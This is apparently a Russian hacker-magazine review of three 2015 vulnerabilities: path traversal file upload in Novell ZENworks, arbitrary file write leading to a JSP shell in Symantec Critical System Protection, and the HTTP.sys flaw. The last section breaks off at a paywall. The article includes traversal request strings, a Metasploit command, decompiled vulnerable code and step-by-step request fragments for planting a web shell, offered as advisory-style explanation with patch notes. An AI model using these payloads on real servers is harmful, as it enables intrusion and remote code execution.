Сегодня мы с тобой разберем уязвимости в приложениях на Java известных производителей. Одна из софтин помогает защищать свои системы от атак, но при этом сама стала местом для проникновения в сеть компании. И конечно, мы не могли обойти стороной уязвимость в HTTP.sys.

 

Произвольная загрузка файлов в Novell ZENworks

CVSSv2

N/A

BRIEF

Дата релиза: 8 мая 2015 года
Автор: Pedro Ribeiro
CVE: 2015-0779

Начнем с уязвимости в Novell ZENworks Configuration Management (ZCM, часть ZENworks Suite). Уязвим UploadServlet — через него доступна неавторизованная загрузка файлов без проверки параметра uid на символы перехода по директориям (../). Это позволяет атакующему сохранить файл в любое место на сервере или разместить WAR-файл в директории Tomcat для веб-приложений. WAR — это Web Archive или Web Application Archive, формат файла, описывающий, как полное веб-приложение пакуется в соответствии со спецификацией Java-сервлетов в файл в формате JAR или ZIP. Примерное содержимое простого WAR:

/index.html
/guestbook.jsp
/images/logo.png
/WEB-INF/web.xml
/WEB-INF/classes/org/wikipedia/Util.class
/WEB-INF/classes/org/wikipedia/MainServlet.class
/WEB-INF/lib/util.jar
/META-INF/MANIFEST.MF

EXPLOIT

Эксплуатация проста: отправляем полезную нагрузку в виде WAR-файла, используя такой запрос:

POST /zenworks/UploadServlet?uid=../../../opt/novell/zenworks/share/tomcat/webapps/&filename=payload.war

Одновременно с релизом уязвимости автор опубликовал и модуль для Metasploit.

msf exploit(zenworks_configuration_management_upload) > rexploit

Это уже не первая подобная уязвимость в ZCM. Ранее схожая ошибка, ZDI-10-078/OSVDB-63412, нашлась в другом сервлете.

TARGETS

ZENworks Configuration Management <= 11.3.1.

SOLUTION

Есть исправление от производителя. Однако пробная версия на момент написания статьи до сих пор уязвима, и автор уязвимости не упомянут в патче.

 

Удаленное выполнение кода в Symantec Critical System Protection

CVSSv2

9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

BRIEF

Дата релиза: 5 мая 2015 года
Автор: Balint Varga-Perke
CVE: 2014-3440

Symantec Critical System Protection предназначен для обнаружения угроз и предотвращения вторжений как на серверы, так и на обычные компьютеры компании, включая не только физические, но и виртуальные системы. В числе прочего в это ПО входит система управления различными серверными компонентами и компоненты-агенты, которые служат для поддержания политик безопасности.

В одном из таких агентов, sis-agent (агент управления интерфейсом сервера SCSP), и была найдена уязвимость. Она позволяет неавторизованному атакующему удаленно выполнить произвольный код. Этот интерфейс используется агентами IDS/IPS для взаимодействия с сервером SCSP: регистрации, оповещения об обновлениях политик, событиях и так далее. Поскольку все защищаемые хосты должны взаимодействовать с SCSP, то этот интерфейс будет доступен большому количеству машин.

Проблема заключается в том, что SCSP недостаточно корректно проверяет основную массу полученных логов. Благодаря этому агенты и атакующие, представившиеся агентом, могут загрузить произвольный файл на компьютер пользователя. Поместив файл JSP в одну из нескольких корневых директорий веб-приложения на базе Tomcat из Server package, можно открыть интерактивную командную оболочку.

Уязвимый код находится в классе BulklogHandler приложения sis-agent. Этот агент использует свой собственный HTTP(S)-wrapped протокол, который похож на стандартный многослойный POST-запрос. В этом протоколе тело HTTP-запроса разбивается на несколько частей. Каждая часть начинается с простого заголовка, в котором описывается тип (текст, XML, бинарный) и ее размер (в байтах и без заголовка). Помимо этого, она содержит свойства приложения (Properties). В случае типа «обычный текст», свойство — это пара ключ — значение. Тело каждого запроса (или ответа) заканчивается строкой, содержащей EOF_FLAG. Каждая строка запроса заканчивается ASCII-символом 0x0A. Ниже представлен пример тела запроса.

```
Data-Format=text/plain
Data-Type=properties
Data-Length=410

agent.name=TEST12345678
agent.hostname=TEST12345678
agent.version=5.2.9.37
agent.initial.group=
agent.config.initial.group=
config.initial.group=
ids.policy.initial.group=Windows
ids.config.initial.group=
agent.ostype=windows
agent.osversion=7 Service Pack 1
agent.osdescription=
agent.charset=UTF-8
agent.features=PD
agent.domain.name=
polling.interval=300
tcp.enabled=true
tcp.port=2222
agent.timezone=+120

EOF_FLAG
```

Интерфейс агента зависит от технологии Java Servlet. Пользовательские запросы направляются через несколько классов, которые обрабатывают входящие параметры. Основной алгоритм взаимодействия агента как раз и реализован в нескольких классах-обработчиках. В случае с классом BulklogHandler пользовательский запрос вначале обрабатывается с помощью метода handleRequest(), который, в свою очередь, вызывает метод logFile() для каждого «свойства» части запроса.

...
// JAD decompiled code snippet
private void logFile(Properties prop, byte data[], boolean repeat) throws Exception{
    String filename;
    File file;
    FileOutputStream fout;
    filename = prop.getProperty("file.name");
    file = getBulkLogFile(filename);
    fout = null;
    fout = new FileOutputStream(file);
    fout.write(data);
    fout.flush();
...

Первый параметр в методе содержит полученные параметры из запроса. Второй — соответствующую двоичную часть. Далее вызывается метод getBulLogFile() для получения соответствующего объекта дескриптора файла.

...
// JAD decompiled code snippet
private File getBulkLogFile(String filename)
{
    File file;
    String agentName = null;
    int index = filename.indexOf('.', 24);
    if(index > 0)
        agentName = filename.substring(24, index);
    else
        agentName = filename.substring(24);
    String date = mFormat.format(mParser.parse(filename.substring(0, 8)));
    String parentFolder = (new StringBuilder()).append(SisProperties.getBulkLogDir()).append(FILE_SEP).append(agentName).append(FILE_SEP).append(date).toString();
    File parent = new File(parentFolder);
    if(!parent.isDirectory())
        parent.delete();
    parent.mkdirs();
    file = new File(parentFolder, filename);
    return file;
    Throwable th;
    th;
    throw new IllegalArgumentException((new StringBuilder()).append("Corrupted bulk log filename [").append(filename).append("]!!").toString(), th);
}
...

Этот метод вначале пробует определить имя агента, получив подстроку от 24-го символа до первой точки. Он обрабатывает первые восемь символов из переданного filename как дату. Далее загруженный файл будет помещен в свою собственную директорию (родительскую), ее структура будет выглядеть примерно так:

LOG_ROOT/AGENT_NAME/FORMATTED_DATE

Эта структура создана с помощью вызова parent.mkdirs(). Окончательный вариант дескриптора файла создается из объединения оригинального имени файла и пути к родительской директории.

EXPLOIT

Произвольный файл в системе может быть получен следующим образом.

  • Зарегистрировать агент, используя интерфейс /register, и получить GUID, который будем использовать как идентификатор сессий для следующих этапов.
  • Инициировать загрузку файла с именем агента в виде YYYY-MM-DD/YYYYMMDD, где YYYYMMDD и YYYY-MM-DD — действительные даты. Загрузка файла будет завершена с ошибкой, но соответствующая структура директории создастся. Этот путь понадобится нам для следующего этапа.
  • Инициировать другую загрузку с именем файла для записи произвольного файла в директорию servlet контейнера следующего формата: YYYYMMDD/../../../././././PATH_FROM_TOMCAT. Ну и наиболее очевидный способ использования такой возможности — это загрузить JSP-шелл.

Исходный код эксплойта (в частности, пример запроса регистрации агента) ты можешь скачать из статьи автора. А мы разберем лишь некоторые части. Пример пути запроса, создающего структуру для будущей загрузки шелла:

...19991111est3X1999-11-11/19991111/.4test5test6.jsp
Созданные директории для будущей загрузки JSP-шелла
Созданные директории для будущей загрузки JSP-шелла

Загрузка шелла:

...19991111/../../../././././tomcat/symapps/agent/sis-agent/jspshellS2.jsp
Созданный JSP-шелл в системе
Созданный JSP-шелл в системе

Сам запрос должен состоять из следующих элементов. Заголовок:

req1="""POST /sis-agent/"""+action+""" HTTP/1.1
Host: """+host+"""
Accept: */*
Appfire-Format-Version: 1.0
Content-Type: application/x-appfire
AppFire-Charset: UTF-8
AppFire-GUID: """+guid+"""
Content-Length: """+str(len(body))+"""
  • action — здесь у нас должна быть строка bulk-log;
  • guid — полученный GUID агента после регистрации;
  • str(len(body)) — размер запроса.

Свойства (Properties):

headers="Data-Format=text/plain\x0aData-Type=properties\x0aData-Length=%d\x0a\x0a" % (len(properties))

В качестве значения следующая строка:

"file.name":имя_нашего_файла

Бинарная часть:

headers="Data-Format=binary/zip\x0aData-Type=policy\x0aData-Length=%d\x0a\x0a" % (len(bin))

JSP-шелл ты можешь взять из известного фреймворка Metasploit. Только не забудь, что имя статически прописано в скрипт jspshell.jsp. В противном случае замени его имя сам в файле update.py.

Кроме основной уязвимости, автор обнаружил небольшую странность, которую не посчитали уязвимостью. Если вкратце, то интерфейс управления SCSP позволяет подключаться к различным серверам, а список серверов может быть изменен без аутентификации. Такая странность позволяет атакующему заменить адрес настоящего сервера на свой собственный и ждать авторизации администратора.

Автор эксплойта записал и два небольших видео с демонстрацией описанных выше уязвимостей, ссылки на которые он опубликовал на своем сайте.

TARGETS

Symantec Critical System Protection Server <= 5.2.9.

SOLUTION

Есть исправление от производителя.

 

Ошибка в обработке HTTP-запроса в Windows (HTTP.sys)

CVSSv2

10.0 (Av:R/Ac:L/A:N/C:C/I:C/A:C)

BRIEF

Дата релиза: 15 апреля 2015 года
Автор: Citrix, Mike Czumak, Jack Tang
CVE: 2015-1635

Закончим обзор нашумевшей уязвимостью в http.sys из нашей горячо любимой Windows. В комментариях к публикации о ней на Хабрахабре было одно слово, означающее предмет для просеивания муки. После апрельского патча (в частности, MS15-034) обнаружили следующее: в http.sys есть целочисленное переполнение, которое может привести к удаленному выполнению кода в системе. В результате мы имеем эксплойты, которые позволяют с легкостью вызвать DoS сервера или в некоторых случаях утечку информации. Что, возможно, ставит эту уязвимость на один уровень с уже описанной нами ранее Heartbleed. В основном это, конечно, касается серверных редакций Windows, но некоторые последние версии пользовательской винды тоже могут открывать HTTP-порты, что делает их уязвимыми.

Архитектура IIS
Архитектура IIS

В качестве тестовой среды автор использует Windows 8.1 x86 и IIS (Internet Information Service) 8.5. После установки IIS (примерная архитектура представлена на одном из скриншотов) в систему у нас появляется соответствующий сервис с именем World Wide Web Publishing Service (для удобства сократим до WWW). Когда клиент отправляет запрос HTTP к нашей системе, запускается WWW или выбирается рабочий процесс (w3wp.exe). Тот использует http.sys для различных задач, связанных с обработкой протокола HTTP, и, помимо обычного парсинга запроса, включает в себя и функцию создания ответа, а также кеширование содержимого. В свою очередь, http.sys получает HTTP-запросы и отправляет HTTP-ответы с помощью tcpip.sys.

Как же мы можем совершить DoS-атаку на нужный нам сервер?

После установки указанного выше ПО у нас появится стартовая страница iisstart.htm (размер файла 694 байта). Наш запрос будет следующим:

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


Оставить мнение

Check Also

Разработчики анонсировали второй патч для проблемы Drupalgeddon2

Авторы Drupal анонсировали скорый выход еще одного внеочередного критического обновления, …